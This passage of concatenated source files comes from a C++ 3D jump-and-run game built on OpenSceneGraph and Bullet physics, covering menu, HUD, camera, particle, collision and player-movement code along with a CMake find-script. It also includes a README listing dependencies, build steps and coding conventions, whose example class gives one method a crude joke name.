MENU_CAMERA_HOME_UP); _currentLevel->resetScene(); viewer.setSceneData(this); _currentLevel = NULL; Player::getInstance()->reset(); updateDetails(); Sound::getInstance()->stop(LEVEL_MUSIC_FILE); Sound::getInstance()->playInLoop(MENU_MUSIC_FILE); } void LevelMenu::writeBackLevelFile() { std::ofstream overviewFile; overviewFile.open(LEVEL_OVERVIEW_FILE); overviewFile << "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" << std::endl; overviewFile << "<world name=\"Galactica\">" << std::endl; for(size_t i=0; i<_items.size(); i++) { overviewFile << "\t<road name=\"" << _items[i]["name"] << "\" filename=\"" << _items[i]["filename"] << "\" besttime=\"" << _items[i]["besttime"] << "\" completions=\"" << _items[i]["completions"] << "\" deaths=\"" << _items[i]["deaths"] << "\" />" << std::endl; } overviewFile << "</world>" << std::endl; overviewFile.close(); } LevelMenuUpdater::LevelMenuUpdater(LevelMenu *menu) : _menu(menu), _previousStepTime(0.0f) { } void LevelMenuUpdater::operator()(osg::Node *node, osg::NodeVisitor *nv) { double currentStepTime = viewer.getFrameStamp()->getSimulationTime(); if(_menu->levelRunning()) { if(_menu->getCurrentLevel()->playerReachedFinish()) _menu->returnFromLevel(); } else if(_previousStepTime > 0.0f) { _menu->resetCamera(); _menu->getBackground()->postMult(osg::Matrix::rotate(osg::inDegrees((currentStepTime - _previousStepTime) * 20.0f),0.0f,0.0f,1.0f)); } _previousStepTime = currentStepTime; } <file_sep>#pragma once #include <osgGA/GUIEventHandler> #include "types.h" #include "Player.h" class LevelKeyboardHandler : public osgGA::GUIEventHandler { public: LevelKeyboardHandler(); virtual bool handle(const osgGA::GUIEventAdapter &ea, osgGA::GUIActionAdapter &aa); virtual void accept(osgGA::GUIEventHandlerVisitor &v); };<file_sep>#pragma once #include <sys/timeb.h> #include <osg/BlendFunc> #include <osg/Geode> #include <osg/Depth> #include <osg/Camera> #include <osgText/Text> #include <osg/ShapeDrawable> #include <osg/Material> #include <osg/CullFace> #include <osg/BlendColor> #include <osg/BlendFunc> #include <osg/MatrixTransform> #include <osg/Node> #include <osg/NodeCallback> #include <osg/NodeVisitor> #include <osgViewer/Viewer> #include "Player.h" #define TIMER_FONT "fonts/arial.ttf" #define SPEEDBAR_MODEL "resources/models/speed_bar.osg" #define SPEEDBG_MODEL "resources/models/speed_background.osg" #define SPEEDOMETER_POSITION osg::Vec3(150.0, 150.0, 0.0) #define HUD_TRANSPARENCY 0.2 #define HUD_TEXTURE "resources/textures/carbon.png" class HeadUpDisplay : public osg::Referenced { private: osg::ref_ptr<osg::Camera> _camera; osg::Geode *_timeNode; osgText::Text *_timer; bool _isTiming; struct timeb _startTime; time_t _finalTime; osg::Node *_speedBarNode; osg::PositionAttitudeTransform *_hudPat; osg::PositionAttitudeTransform *_speedPat; osg::PositionAttitudeTransform *_speedBarPat; osg::PositionAttitudeTransform *_speedBarBackgroundPat; osg::MatrixTransform *_speedBarMatrixTrans; public: HeadUpDisplay(); osg::Camera *getCamera(); void initializeCamera(); void initializeSpeedometer(); void initializeTimer(); bool isTiming() { return _isTiming; } void startTimer(); void stopTimer(); void resetTimer(); void updateSpeedometer(); void updateTimer(); time_t getTime(); time_t getFinalTime() { return _finalTime; }; }; class HeadUpDisplayUpdateCallback : public osg::NodeCallback { public: virtual void operator()(osg::Node *node, osg::NodeVisitor *nv); };<file_sep># Locate osgWorks. # # This script defines: # OSGWORKS_FOUND, set to 1 if found # OSGWORKS_LIBRARIES # OSGWORKS_INCLUDE_DIR # OSGWCONTROLS_LIBRARY # OSGWTOOLS_LIBRARY # # This script will look in standard locations for installed osgWorks. However, if you # install osgWorks into a non-standard location, you can use the OSGWORKS_ROOT # variable (in environment or CMake) to specify the location. # # You can also use osgWorks out of a source tree by specifying OSGWORKS_SOURCE_DIR # and OSGWORKS_BUILD_DIR (in environment or CMake). SET( OSGWORKS_BUILD_DIR "" CACHE PATH "If using osgWorks out of a source tree, specify the build directory." ) SET( OSGWORKS_SOURCE_DIR "" CACHE PATH "If using osgWorks out of a source tree, specify the root of the source tree." ) SET( OSGWORKS_ROOT "" CACHE PATH "Specify non-standard osgWorks install directory. It is the parent of the include and lib dirs." ) MACRO( FIND_OSGWORKS_INCLUDE THIS_OSGWORKS_INCLUDE_DIR THIS_OSGWORKS_INCLUDE_FILE ) UNSET( ${THIS_OSGWORKS_INCLUDE_DIR} CACHE ) MARK_AS_ADVANCED( ${THIS_OSGWORKS_INCLUDE_DIR} ) FIND_PATH( ${THIS_OSGWORKS_INCLUDE_DIR} ${THIS_OSGWORKS_INCLUDE_FILE} PATHS ${OSGWORKS_ROOT} $ENV{OSGWORKS_ROOT} ${OSGWORKS_SOURCE_DIR} $ENV{OSGWORKS_SOURCE_DIR} /usr/local /usr /sw/ # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt "C:/Program Files/osgWorks" "C:/Program Files (x86)/osgWorks" ~/Library/Frameworks /Library/Frameworks PATH_SUFFIXES include . ) ENDMACRO( FIND_OSGWORKS_INCLUDE THIS_OSGWORKS_INCLUDE_DIR THIS_OSGWORKS_INCLUDE_FILE ) FIND_OSGWORKS_INCLUDE( OSGWORKS_INCLUDE_DIR osgwTools/FindNamedNode.h ) # message( STATUS ${OSGWORKS_INCLUDE_DIR} ) MACRO( FIND_OSGWORKS_LIBRARY MYLIBRARY MYLIBRARYNAME ) UNSET( ${MYLIBRARY} CACHE ) UNSET( ${MYLIBRARY}_debug CACHE ) MARK_AS_ADVANCED( ${MYLIBRARY} ) MARK_AS_ADVANCED( ${MYLIBRARY}_debug ) FIND_LIBRARY( ${MYLIBRARY} NAMES ${MYLIBRARYNAME} PATHS ${OSGWORKS_ROOT} $ENV{OSGWORKS_ROOT} ${OSGWORKS_BUILD_DIR} $ENV{OSGWORKS_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/osgWorks" "C:/Program Files (x86)/osgWorks" /usr/freeware/lib64 PATH_SUFFIXES lib bin . ) FIND_LIBRARY( ${MYLIBRARY}_debug NAMES ${MYLIBRARYNAME}d PATHS ${OSGWORKS_ROOT} $ENV{OSGWORKS_ROOT} ${OSGWORKS_BUILD_DIR} $ENV{OSGWORKS_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/osgWorks" "C:/Program Files (x86)/osgWorks" /usr/freeware/lib64 PATH_SUFFIXES lib bin . ) # message( STATUS ${${MYLIBRARY}} ${${MYLIBRARY}_debug} ) # message( STATUS ${MYLIBRARYNAME} ) IF( ${MYLIBRARY} ) SET( OSGWORKS_LIBRARIES ${OSGWORKS_LIBRARIES} "optimized" ${${MYLIBRARY}} ) ENDIF( ${MYLIBRARY} ) IF( ${MYLIBRARY}_debug ) SET( OSGWORKS_LIBRARIES ${OSGWORKS_LIBRARIES} "debug" ${${MYLIBRARY}_debug} ) ENDIF( ${MYLIBRARY}_debug ) ENDMACRO(FIND_OSGWORKS_LIBRARY LIBRARY LIBRARYNAME) FIND_OSGWORKS_LIBRARY( OSGWTOOLS_LIBRARY osgwTools ) FIND_OSGWORKS_LIBRARY( OSGWCONTROLS_LIBRARY osgwControls ) SET( OSGWORKS_FOUND 0 ) IF( OSGWORKS_LIBRARIES AND OSGWORKS_INCLUDE_DIR ) SET( OSGWORKS_FOUND 1 ) ENDIF( OSGWORKS_LIBRARIES AND OSGWORKS_INCLUDE_DIR ) <file_sep>#pragma once #include <iostream> #include <fstream> #include <osg/Geode> #include <osg/Depth> #include <osg/Camera> #include <osg/ShapeDrawable> #include <osgViewer/Viewer> #include <osg/Drawable> #include <osg/Texture2D> #include <osg/PositionAttitudeTransform> #include <osg/ShapeDrawable> #include <osg/Drawable> #include <osg/Geometry> #include <osg/Texture2D> #include <osgDB/ReadFile> #include <osgText/Text> #include "RapidXML/rapidxml.hpp" #include "RapidXML/rapidxml_iterators.hpp" #include "RapidXML/rapidxml_utils.hpp" #include "Player.h" #include "Level.h" #define MENU_FONT "fonts/arial.ttf" #define LEVEL_HEADER_TEXTURE "resources/textures/starjumper.jpg" #define LEVEL_SELECTOR_TEXTURE "resources/textures/menu_background.png" #define MENU_ITEM_HEIGHT 40 #define MENU_DETAIL_FONT_SIZE 25 #define MENU_BACKGROUND_MODEL "resources/models/player_high.osg" #define MENU_CAMERA_HOME_EYE osg::Vec3(0.0, 1.0, 2.0) #define MENU_CAMERA_HOME_CENTER osg::Vec3(0.0, 10.0, 0.0) #define MENU_CAMERA_HOME_UP osg::Vec3(0.0, -10.0, 5.0) #define LEVEL_OVERVIEW_FILE "resources/levels/overview.xml" class MenuKeyboardHandler; class LevelMenu : public osg::Group { private: std::vector<std::map<std::string, std::string> > _items; int _currentItemIndex; osg::ref_ptr<osg::Camera> _camera; osg::PositionAttitudeTransform *_menuPat; osg::PositionAttitudeTransform *_itemsPat; osg::MatrixTransform *_background; osg::ref_ptr<osgText::Text> _bestTimeText; osg::ref_ptr<osgText::Text> _completionsText; osg::ref_ptr<osgText::Text> _deathsText; MenuKeyboardHandler *_keyboardHandler; Level *_currentLevel; public: LevelMenu(); void initializeCamera(); void initializeBackgroundAnimation(); void initializeHeader(); void initializeSelector(); void loadLevels(); void updateDetails(); void resetCamera(); void selectPreviousItem(); void selectNextItem(); void runSelectedLevel(); void returnFromLevel(); void writeBackLevelFile(); osg::MatrixTransform *getBackground() { return _background; } osg::Camera *getCamera() { return _camera; }; bool levelRunning() { return _currentLevel != NULL; } Level *getCurrentLevel() { return _currentLevel; } }; class LevelMenuUpdater : public osg::NodeCallback { private: LevelMenu *_menu; double _previousStepTime; public: LevelMenuUpdater(LevelMenu *menu); virtual void operator()(osg::Node *node, osg::NodeVisitor *nv); }; <file_sep>#pragma once #include <osg/Geode> #include <btBulletDynamicsCommon.h> #include <osgbBullet/Utils.h> #include <osgbBullet/CollisionShapes.h> #include "types.h" class CollisionObject : public osg::Geode { public: CollisionObject(); virtual void collide() = 0; virtual btRigidBody *getRigidBody() = 0; };<file_sep>SET( INSTALL_BINDIR ${PROJECT_BINARY_DIR} ) INSTALL( TARGETS starjumper RUNTIME DESTINATION ${INSTALL_BINDIR} )<file_sep>#pragma once #include <osg/Drawable> #include <osg/Geometry> #include <osg/Texture2D> #include <osgDB/ReadFile> #include "CollisionObject.h" #include "Player.h" #define ACCELERATION_CUBOID_TEXTURE "resources/textures/acceleration.png" #define DECELERATION_CUBOID_TEXTURE "resources/textures/deceleration.png" class Cuboid : public CollisionObject { private: osg::Vec3 _from; osg::Vec3 _size; protected: osg::Geometry *_drawable; public: Cuboid(const osg::Vec3 &from, const osg::Vec3 &size); btRigidBody *getRigidBody(); virtual void collide() = 0; }; class DefaultCuboid : public Cuboid { public: DefaultCuboid(const osg::Vec3 &from, const osg::Vec3 &size); void collide() { } }; class TexturedCuboid : public Cuboid { private: osg::Texture2D *_texture; protected: osg::Geometry *_textureDrawable; public: TexturedCuboid(const osg::Vec3 &from, const osg::Vec3 &size); void setTexture(osg::Image *image); void collide() = 0; }; class AccelerationCuboid : public TexturedCuboid { public: AccelerationCuboid(const osg::Vec3 &from, const osg::Vec3 &size); void collide(); }; class DecelerationCuboid : public TexturedCuboid { public: DecelerationCuboid(const osg::Vec3 &from, const osg::Vec3 &size); void collide(); };<file_sep>#include "LazyCameraManipulator.h" #include "Player.h" #include <iostream> LazyCameraManipulator::LazyCameraManipulator(): NodeTrackerManipulator() { _oldNodePosition = osg::Vec3(0, 0, 0); _oldCameraPosition = osg::Vec3(0, 0, 0); _newCameraPosition = osg::Vec3(0, 0, 0); _directionOfMovementX = 0; _durationOfMovementX = 0; _firstRun = true; _fadeOut = false; setTrackerMode(osgGA::NodeTrackerManipulator::NODE_CENTER); } LazyCameraManipulator::~LazyCameraManipulator() { } bool LazyCameraManipulator::handle(const osgGA::GUIEventAdapter& ea,osgGA::GUIActionAdapter& us) { return false; } void LazyCameraManipulator::calculateNextCameraPosition() { // retrieve player position and direction of movement const Player *player = dynamic_cast<const Player *>(getTrackNode()); const osg::Vec3d nodePosition = player->getPosition(); const PlayerState *playerState = player->getPlayerState(); const int newDirectionX = playerState->getDirectionX(); // if this is the first run, follow node directly if(_firstRun) { _newCameraPosition.x() = nodePosition.x(); _oldCameraPosition.x() = nodePosition.x(); _oldNodePosition = nodePosition; _durationOfMovementX = 0; _firstRun = false; return; } // +++ step 1 +++ // check if direction of movement has changed bool directionChanged = false; if(newDirectionX != _directionOfMovementX) { if(newDirectionX != 0) { _durationOfMovementX = 0; directionChanged = true; } _directionOfMovementX = newDirectionX; } float stepper = (_numSimulationSubSteps > 0) ? ((nodePosition.x() - _oldNodePosition.x()) / _numSimulationSubSteps) : 0.0f; for(int i=0; i<_numSimulationSubSteps; i++, _oldNodePosition.x() += stepper, _durationOfMovementX++) { if(_fadeOut) _distance += 10.0f * _numSimulationSubSteps; if(!directionChanged && fabs(_oldCameraPosition.x() - _oldNodePosition.x()) < 0.001 && _durationOfMovementX > 20) { // +++ step 2 +++ // if direction has not changed, check if we were already following the node _newCameraPosition.x() = nodePosition.x(); } else { // +++ step 3 +++ // in any other case continue (or begin) approaching the node _newCameraPosition.x() = _oldCameraPosition.x() + (_oldNodePosition.x() - _oldCameraPosition.x()) * (_durationOfMovementX / MAX_FRAME_DELAY); } _oldCameraPosition = _newCameraPosition; } _oldNodePosition = nodePosition; } osg::Matrixd LazyCameraManipulator::getInverseMatrix() const { const Player *player = dynamic_cast<const Player *>(getTrackNode()); const osg::Vec3d nodePosition = player->getPosition(); osg::Vec3d nc; osg::Quat nodeRotation; computeNodeCenterAndRotation(nc, nodeRotation); return osg::Matrixd::translate(-_newCameraPosition.x(), -nodePosition[1], -nodePosition[2]) * osg::Matrixd::rotate(nodeRotation.inverse())*osg::Matrixd::rotate(_rotation.inverse())*osg::Matrixd::translate(0.0,0.0,-_distance); } void LazyCameraManipulator::resetCamera() { _firstRun = true; _fadeOut = false; } void LazyCameraManipulator::fadeOut() { _fadeOut = true; } <file_sep>#include "ParticleEffectFactory.h" ParticleEffect::ParticleEffect(osgParticle::Particle *particleTemplate, osgParticle::Placer *placer, osgParticle::Shooter *shooter) { _effectRoot = new osg::Group; configureTemplateParticle(particleTemplate); _particleSystem = new osgParticle::ParticleSystem; _particleSystem->setDefaultAttributes("resources/particles/circle.png", true, false); _particleSystem->setDefaultParticleTemplate(_templateParticle); _updater = new osgParticle::ParticleSystemUpdater; _updater->addParticleSystem(_particleSystem); osg::Geode *particleSystemGeode = new osg::Geode; particleSystemGeode->addDrawable(_particleSystem); _counter = new osgParticle::RandomRateCounter; _counter->setRateRange(50, 50); configurePlacer(placer); configureShooter(shooter); // create a modular emitter using the previously defined counter, placer and shooter _emitter = new osgParticle::ModularEmitter; _emitter->setParticleSystem(_particleSystem); _emitter->setCounter(_counter); _emitter->setPlacer(_placer); _emitter->setShooter(_shooter); _program = new osgParticle::ModularProgram; _program->setParticleSystem(_particleSystem); osgParticle::AccelOperator *op1 = new osgParticle::AccelOperator; op1->setAcceleration(osg::Vec3(0.0, -0.5, 0.0)); _program->addOperator(op1); // add particle system, program and updater to scene _effectRoot->addChild(particleSystemGeode); _effectRoot->addChild(_program); _effectRoot->addChild(_updater); // add emitter to this so it can be positioned addChild(_emitter); } void ParticleEffect::configureTemplateParticle(osgParticle::Particle *templateParticle) { if(templateParticle) { _templateParticle = *templateParticle; return; } _templateParticle.setLifeTime(2); _templateParticle.setSizeRange(osgParticle::rangef(0.01f, 0.09f)); _templateParticle.setAlphaRange(osgParticle::rangef(1.0f, 0.0f)); _templateParticle.setColorRange(osgParticle::rangev4(osg::Vec4(0.0f, 0.7f, 1.0f, 0.5f), osg::Vec4(0.0f, 0.7f, 1.0f, 0.5f))); _templateParticle.setRadius(0.01f); _templateParticle.setMass(0.01f); } void ParticleEffect::configurePlacer(osgParticle::Placer *placer) { if(placer) { _placer = placer; return; } _placer = new osgParticle::SectorPlacer; ((osgParticle::SectorPlacer*)_placer)->setCenter(0, 0, 0); ((osgParticle::SectorPlacer*)_placer)->setRadiusRange(0.5, 0.5); ((osgParticle::SectorPlacer*)_placer)->setPhiRange(0, 2 * osg::PI); } void ParticleEffect::configureShooter(osgParticle::Shooter *shooter) { if(shooter) { _shooter = shooter; return; } _shooter = new osgParticle::RadialShooter; ((osgParticle::RadialShooter*)_shooter)->setInitialSpeedRange(0.5, 0.5); } osg::Group *ParticleEffect::getEffectRoot() { return _effectRoot; } void ParticleEffect::setRate(const double rate) { ((osgParticle::RandomRateCounter*)_emitter->getCounter())->setRateRange(rate, rate + 10.0); } void ParticleEffect::setColor(const osg::Vec4 &color) { _templateParticle.setColorRange(osgParticle::rangev4(color, color)); _particleSystem->setDefaultParticleTemplate(_templateParticle); } void ParticleEffect::setSize(const float size) { _templateParticle.setSizeRange(osgParticle::rangef(size + 0.01f, size + 0.05f)); _particleSystem->setDefaultParticleTemplate(_templateParticle); } void ParticleEffect::enable() { removeChild(_emitter); } void ParticleEffect::disable() { addChild(_emitter); } void ParticleEffect::clearParticles() { // delete all current particles for(size_t i = 0; i < _particleSystem->numParticles(); ++i) _particleSystem->destroyParticle(i); } ParticleEffectFactory::ParticleEffectFactory(osg::Group *rootNode) { _geode = new osg::Geode; } ParticleEffect *ParticleEffectFactory::createRearEngineEffect() { return new ParticleEffect(); } ParticleEffect *ParticleEffectFactory::createSteerEngineEffect() { osgParticle::PointPlacer *placer = new osgParticle::PointPlacer; placer->setCenter(osg::Vec3(0, 0, 0)); return new ParticleEffect(NULL, placer); }<file_sep># Starjumper ## Requirements ### OpenSceneGraph get Version [2.8.3](http://www.openscenegraph.org/projects/osg/wiki/Downloads) **for Mac OS X (32 Bit)** $ cmake -DOSG_WINDOWING_SYSTEM=Cocoa -DOSG_DEFAULT_IMAGE_PLUGIN_FOR_OSX=imageio $ make $ sudo make install **for Mac OS X (64 Bit)** $ cmake -DOSG_WINDOWING_SYSTEM=Cocoa -DOSG_DEFAULT_IMAGE_PLUGIN_FOR_OSX=imageio -DCMAKE_OSX_ARCHITECTURES=x86_64 $ make $ sudo make install ### Bullet Physics Library get Version [2.75] install as described in the instructions ### osgWorks get [latest Version](http://code.google.com/p/osgworks/) install as described in the instructions ### osgBullet get [latest Version](http://code.google.com/p/osgbullet/) install as described in the instructions ### OggVorbis get [latest Version](http://www.vorbis.com/) install as described in the instructions you will need libogg library as well as libvorbis library ### OpenAL get [latest Version](http://connect.creativelabs.com/openal/) install as described in the instructions ### freeALUT get [latest Version](http://connect.creativelabs.com/openal/) install as described in the instructions ### osgAudio get [latest Version](http://code.google.com/p/osgaudio/) install as described in the instructions ## Install and run Starjumper $ cmake . $ make $ ./bin/Starjumper ## Coding Conventions - Tabs: 4 Whitespaces - Classes and methods: - Camel-case - Classes start with capital letter (files are named _exactly_ like the class) - Methods don't, neither do variables - private member variables start with _ (underscore) - No egyptian-style brackets - #pragma once instead of include guards in header files (#ifndef ... #define ... #endif) Example: -------- *** FooBar.h *** #pragma once class FooBar { private: int _member1; int _member2; protected: int fooBarMethod(); public: FooBar(int member1, int member2); char suckMyDick(); } *** FooBar.cpp *** FooBar::FooBar(int member1, int member2) : _member1(member1), _member2(member2) { // More code here } - Comments - License and commented-out code: /* ... */ - All other comments: // ... - No capital letters at the beginning - for-loops - unless required otherwise, use size_t as type for run variable - preincrement, not postincrement the run variable - e.g.: for(size_t i = 0; i < 100; ++i) - Don't use namespaces! - use const if possible!<file_sep>#include "Cuboid.h" Cuboid::Cuboid(const osg::Vec3 &from, const osg::Vec3 &size) : _from(from), _size(size) { _drawable = new osg::Geometry(); osg::Vec3Array *pyramidVertices = new osg::Vec3Array(); { pyramidVertices->push_back( from + osg::Vec3(0, 0, size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), 0, size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), 0, 0)); pyramidVertices->push_back( from ); pyramidVertices->push_back( from + osg::Vec3(0, size.y(), size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), size.y(), size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), size.y(), 0)); pyramidVertices->push_back( from + osg::Vec3(0, size.y(), 0) ); } _drawable->setVertexArray( pyramidVertices ); // front { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(1); face->push_back(2); face->push_back(3); _drawable->addPrimitiveSet(face); } // back { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(4); face->push_back(5); face->push_back(6); face->push_back(7); _drawable->addPrimitiveSet(face); } // left { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(4); face->push_back(7); face->push_back(3); _drawable->addPrimitiveSet(face); } // right { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(1); face->push_back(5); face->push_back(6); face->push_back(2); _drawable->addPrimitiveSet(face); } // bottom { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(3); face->push_back(2); face->push_back(6); face->push_back(7); _drawable->addPrimitiveSet(face); } osg::Vec4Array* colors = new osg::Vec4Array; { colors->push_back(osg::Vec4(0.0f, 1.0f, 1.0f, 0.8f)); colors->push_back(osg::Vec4(0.0f, 1.0f, 1.0f, 0.8f)); colors->push_back(osg::Vec4(1.0f, 1.0f, 0.0f, 0.8f)); colors->push_back(osg::Vec4(1.0f, 1.0f, 0.0f, 0.8f)); colors->push_back(osg::Vec4(1.0f, 0.0f, 1.0f, 0.8f)); colors->push_back(osg::Vec4(1.0f, 0.0f, 1.0f, 0.8f)); colors->push_back(osg::Vec4(0.0f, 1.0f, 0.0f, 0.8f)); colors->push_back(osg::Vec4(0.0f, 1.0f, 0.0f, 0.8f)); _drawable->setColorArray(colors); _drawable->setColorBinding(osg::Geometry::BIND_PER_VERTEX); } addDrawable(_drawable); osg::StateSet* stateSet = new osg::StateSet(); stateSet->setMode(GL_ALPHA_TEST, osg::StateAttribute::ON); stateSet->setMode(GL_BLEND, osg::StateAttribute::ON); setStateSet(stateSet); } btRigidBody *Cuboid::getRigidBody() { btRigidBody *rigidBody; // create start transform for the cuboid rigid body btTransform shapeTransform; shapeTransform.setIdentity(); shapeTransform.setOrigin(osgbBullet::asBtVector3(_from + (_size / 2.0f))); // create bounding box btBoxShape *bsCuboid = new btBoxShape(osgbBullet::asBtVector3(_size / 2.0f)); // create MotionState for the cuboid btDefaultMotionState *msCuboid = new btDefaultMotionState(shapeTransform); // passing 0 as first and a null-vector as last argument means this object is immovable btRigidBody::btRigidBodyConstructionInfo rbciCuboid(0, msCuboid, bsCuboid, btVector3(0,0,0)); // construct rigid body from previously specified construction info rigidBody = new btRigidBody(rbciCuboid); rigidBody->setUserPointer(this); return rigidBody; } DefaultCuboid::DefaultCuboid(const osg::Vec3 &from, const osg::Vec3 &size) : Cuboid(from, size) { // top { osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(1); face->push_back(5); face->push_back(4); _drawable->addPrimitiveSet(face); } } TexturedCuboid::TexturedCuboid(const osg::Vec3 &from, const osg::Vec3 &size) : Cuboid(from, size) { _textureDrawable = new osg::Geometry(); osg::Vec3Array *pyramidVertices = new osg::Vec3Array(); { pyramidVertices->push_back( from + osg::Vec3(0, 0, size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), 0, size.z())); pyramidVertices->push_back( from + osg::Vec3(size.x(), size.y(), size.z())); pyramidVertices->push_back( from + osg::Vec3(0, size.y(), size.z())); } _textureDrawable->setVertexArray( pyramidVertices ); osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(1); face->push_back(2); face->push_back(3); _textureDrawable->addPrimitiveSet(face); osg::Vec2Array* texcoords = new osg::Vec2Array(4); { (*texcoords)[0].set(size.x(), 0.0f); (*texcoords)[1].set(0.0f, 0.0f); (*texcoords)[3].set(size.x(), size.y() / 3.0f); (*texcoords)[2].set(0.0f, size.y() / 3.0f); _textureDrawable->setTexCoordArray(0, texcoords); } _texture = new osg::Texture2D; _texture->setDataVariance(osg::Object::DYNAMIC); _texture->setWrap(osg::Texture::WRAP_S, osg::Texture::REPEAT); _texture->setWrap(osg::Texture::WRAP_T, osg::Texture::REPEAT); osg::StateSet* stateSet = _textureDrawable->getOrCreateStateSet(); stateSet->setTextureAttributeAndModes(0, _texture, osg::StateAttribute::ON); _textureDrawable->setStateSet(stateSet); addDrawable(_textureDrawable); } void TexturedCuboid::setTexture(osg::Image *image) { _texture->setImage(image); } AccelerationCuboid::AccelerationCuboid(const osg::Vec3 &from, const osg::Vec3 &size) : TexturedCuboid(from, size) { osg::Image *image = osgDB::readImageFile(ACCELERATION_CUBOID_TEXTURE); setTexture(image); osg::Vec4Array* colors = new osg::Vec4Array; { colors->push_back(osg::Vec4(0.0f, 1.0f, 0.0f, 0.7f)); _textureDrawable->setColorArray(colors); _textureDrawable->setColorBinding(osg::Geometry::BIND_OVERALL); } } void AccelerationCuboid::collide() { Player *player = Player::getInstance(); float speed = player->getPlayerState()->getSpeed(); if(!player->getPlayerState()->requestDecelerate()) { player->getPlayerState()->setSpeed(speed + 0.02 <= 1.0 ? speed + 0.02 : 1.0); player->setEngines(speed + 0.02 <= 1.0 ? speed + 0.02 : 1.0, ACCELERATE); } } DecelerationCuboid::DecelerationCuboid(const osg::Vec3 &from, const osg::Vec3 &size) : TexturedCuboid(from, size) { osg::Image *image = osgDB::readImageFile(DECELERATION_CUBOID_TEXTURE); setTexture(image); osg::Vec4Array* colors = new osg::Vec4Array; { colors->push_back(osg::Vec4(1.0f, 0.8f, 0.0f, 0.7f)); _textureDrawable->setColorArray(colors); _textureDrawable->setColorBinding(osg::Geometry::BIND_OVERALL); } } void DecelerationCuboid::collide() { Player *player = Player::getInstance(); float speed = player->getPlayerState()->getSpeed(); if(!player->getPlayerState()->requestAccelerate()) { player->getPlayerState()->setSpeed(speed - 0.04 >= 0 ? speed - 0.04 : 0); player->setEngines(speed - 0.04 >= 0 ? speed - 0.04 : 0, DECELERATE); } } <file_sep>#include "PlayerUpdater.h" extern osgViewer::Viewer viewer; PlayerUpdater::PlayerUpdater() { // nothing more to do here } void PlayerUpdater::operator()(osg::Node* node, osg::NodeVisitor* nv) { Player *player = Player::getInstance(); if(player) { osg::Vec3 newPosition = calculateNextPosition(); player->setPosition(newPosition); player->setAngles(0, player->getPlayerState()->getAngleY()); dynamic_cast<LazyCameraManipulator *>(viewer.getCameraManipulator())->calculateNextCameraPosition(); } traverse(node, nv); } osg::Vec3 PlayerUpdater::calculateNextPosition() { Player *player = Player::getInstance(); PlayerState *playerState = player->getPlayerState(); KinematicCharacterController *playerController = player->getController(); float speed = playerState->getSpeed(); float angleY = playerState->getAngleY(); btVector3 direction = btVector3(0, 0, 0); // check for move requests /////////////////////// // sideways movement // /////////////////////// if(playerState->requestMoveLeft()) { direction -= btVector3(speed / 10.0f, 0, 0); playerState->setAngleY(angleY + 3 < 30 ? angleY + 3 : 30); playerState->setDirectionX(-1); } else if(playerState->requestMoveRight()) { direction += btVector3(speed / 10.0f, 0, 0); playerState->setAngleY(angleY - 3 > -30 ? angleY - 3 : -30); playerState->setDirectionX(1); } else { if(angleY > 0) playerState->setAngleY(angleY - 5 > 0 ? angleY - 5 : 0); else if(angleY < 0) playerState->setAngleY(angleY + 5 < 0 ? angleY + 5 : 0); else playerState->setAngleY(0); playerState->setDirectionX(0); } ///////////////////////////////// // acceleration / deceleration // ///////////////////////////////// if(playerState->requestAccelerate()) { playerState->setSpeed(speed + 0.02 <= 1.0 ? speed + 0.02 : 1.0); player->setEngines(speed, ACCELERATE); } else if(playerState->requestDecelerate()) { playerState->setSpeed(speed - 0.04 >= 0 ? speed - 0.04 : 0); player->setEngines(speed, DECELERATE); } //////////////////////////////////////// // special floor attributes / falling // //////////////////////////////////////// if(playerController->frontalHit()) { if(speed > 0.8f) playerState->beDead(); speed = 0; playerState->setSpeed(0); player->setEngines(0, DECELERATE); } else { if(playerController->onGround()) { // player is on the floor, apply special attributes from ground to player CollisionObject *groundObject = (CollisionObject *)playerController->getGroundObject(); groundObject->collide(); } } direction += btVector3(0, playerState->getSpeed(), 0); playerController->setWalkDirection(direction); // handle jump request if(playerState->requestJump() && playerController->canJump()) { playerController->jump(); Sound::getInstance()->playSound(JUMP_SOUND); } btVector3 position = playerController->getGhostObject()->getWorldTransform().getOrigin(); return osgbBullet::asOsgVec3(position); } <file_sep>#include "Level.h" extern osgViewer::Viewer viewer; Level::Level(const std::string &mapfile) : _numDeaths(0), _reachedFinish(false) { _shadowedScene = new osgShadow::ShadowedScene; _shadowedScene->setReceivesShadowTraversalMask(RECEIVE_SHADOW_MASK); _shadowedScene->setCastsShadowTraversalMask(CAST_SHADOW_MASK); _shadowedScene->setShadowTechnique(new osgShadow::ShadowMap); addChild(_shadowedScene); _headUpDisplay = new HeadUpDisplay(); addChild(_headUpDisplay->getCamera()); addChild((new Sky())->getCamera()); initializePhysicsWorld(); // load map from file loadMapFromFile(mapfile); // add player to level _shadowedScene->addChild(Player::getInstance()); addChild(Player::getInstance()->getParticleEffects()); // add player ghost object to world _physicsWorld->addCollisionObject(Player::getInstance()->getGhostObject(), btBroadphaseProxy::CharacterFilter, btBroadphaseProxy::StaticFilter | btBroadphaseProxy::DefaultFilter); // register player controller _physicsWorld->addAction(Player::getInstance()->getController()); // initialize members LazyCameraManipulator *cameraManipulator = new LazyCameraManipulator(); // setup manipulator to track the player 